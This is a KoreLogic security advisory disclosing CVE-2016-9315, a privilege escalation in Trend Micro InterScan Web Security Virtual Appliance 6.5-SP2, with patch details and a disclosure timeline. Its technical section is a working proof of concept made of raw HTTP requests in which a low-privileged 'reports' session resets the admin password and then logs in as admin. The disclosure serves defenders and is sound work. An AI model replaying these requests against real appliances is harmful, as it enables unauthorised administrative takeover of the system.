Trendmicro InterScan 6.5-SP2_Build_Linux_1548 Privilege Escalation

`KL-001-2017-002 : Trendmicro InterScan Privilege Escalation Vulnerability  
  
Title: Trendmicro InterScan Privilege Escalation Vulnerability  
Advisory ID: KL-001-2017-002  
Publication Date: 2017.02.15  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-002.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Trendmicro  
Affected Product: InterScan Web Security Virtual Appliance  
Affected Version: OS Version 3.5.1321.el6.x86_64; Application  
Version 6.5-SP2_Build_Linux_1548  
Platform: Embedded Linux  
CWE Classification: CWE-269: Improper Privilege Management  
Impact: Privilege Escalation  
Attack vector: HTTP  
CVE-ID: CVE-2016-9315  
  
2. Vulnerability Description  
  
Any authenticated user can execute administrative functionality  
  
3. Technical Description  
  
1. Login as least privileged user role.  
  
POST /uilogonsubmit.jsp HTTP/1.1  
Host: 1.3.3.8:8443  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0)  
Gecko/20100101 Firefox/49.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer: https://1.3.3.8:8443/logon.jsp  
Cookie: JSESSIONID=FA0756E428016DE2FCABF4DF1A91D8A9  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 62  
  
wherefrom=&wronglogon=no&uid=reports&passwd=reports&pwd=Log+On  
  
HTTP/1.1 302 Found  
Server: Apache-Coyote/1.1  
Pragma: no-cache  
Cache-Control: no-cache  
Location:  
https://1.3.3.8:8443/index.jsp?CSRFGuardToken=N260J66MTV0BA0DP7V2MG4WA1XXXGOZK&summary_scan  
Content-Type: text/html;charset=UTF-8  
Content-Length: 0  
Date: Tue, 25 Oct 2016 15:02:24 GMT  
Connection: close  
  
2. Use session identifier to run administrator functionality to change  
admin password.  
  
POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1  
Host: 1.3.3.8:8443  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0)  
Gecko/20100101 Firefox/49.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer:  
https://1.3.3.8:8443/login_account_add_modify.jsp?CSRFGuardToken=9RN5D8EPS3MS4R5BCQMR3KE4SHPVCMZV&op=review&uid=admin  
Cookie: JSESSIONID=FA0756E428016DE2FCABF4DF1A91D8A9  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 280  
  
  
CSRFGuardToken=N260J66MTV0BA0DP7V2MG4WA1XXXGOZK&accountop=review&allaccount=admin&allaccount=auditor&allaccount=reports&accountname=admin&commonname=admin&accounttype=0&password_changed=true&PASS1=korelogic2&PASS2=korelogic2&description=Master+Administrator&role_select=0&roleid=0  
  
HTTP/1.1 302 Found  
Server: Apache-Coyote/1.1  
Location:  
https://1.3.3.8:8443/login_accounts.jsp?CSRFGuardToken=N260J66MTV0BA0DP7V2MG4WA1XXXGOZK  
Content-Length: 0  
Date: Tue, 25 Oct 2016 15:03:37 GMT  
Connection: close  
  
3. Login as admin  
  
POST /uilogonsubmit.jsp HTTP/1.1  
Host: 1.3.3.8:8443  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0)  
Gecko/20100101 Firefox/49.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer:  
https://1.3.3.8:8443/logout.jsp?CSRFGuardToken=VS0DHVK4Q9T7GJF0N08812Y5FNTNT67M  
Cookie: JSESSIONID=6903A112B76F642A05573990BB3057DB  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 27  
  
uid=admin&passwd=korelogic2  
  
HTTP/1.1 302 Found  
Server: Apache-Coyote/1.1  
Pragma: no-cache  
Cache-Control: no-cache  
Location:  
https://1.3.3.8:8443/index.jsp?CSRFGuardToken=IDVSTBAEVTSQOP6GJWZI3BDZZVBKAYW4&summary_scan  
Content-Type: text/html;charset=UTF-8  
Content-Length: 0  
Date: Tue, 25 Oct 2016 15:03:54 GMT  
Connection: close  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has issued a patch for this vulnerability in Version  
6.5 CP 1737. Security advisory and link to the patched version  
available at:  
  
https://success.trendmicro.com/solution/1116672  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2016.12.12 - KoreLogic sends vulnerability report and PoC to  
Trendmicro.  
2016.12.12 - Trendmicro acknowledges receipt of report.  
2017.01.11 - Trendmicro informs KoreLogic that the patch to  
this and other KoreLogic reported issues will  
likely be available after the 45 business day  
deadline (2017.02.16).  
2017.02.06 - Trendmicro informs KoreLogic that the patched  
version will be available by 2017.02.14.  
2017.02.14 - Trendmicro security advisory released.  
2017.02.15 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2017  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
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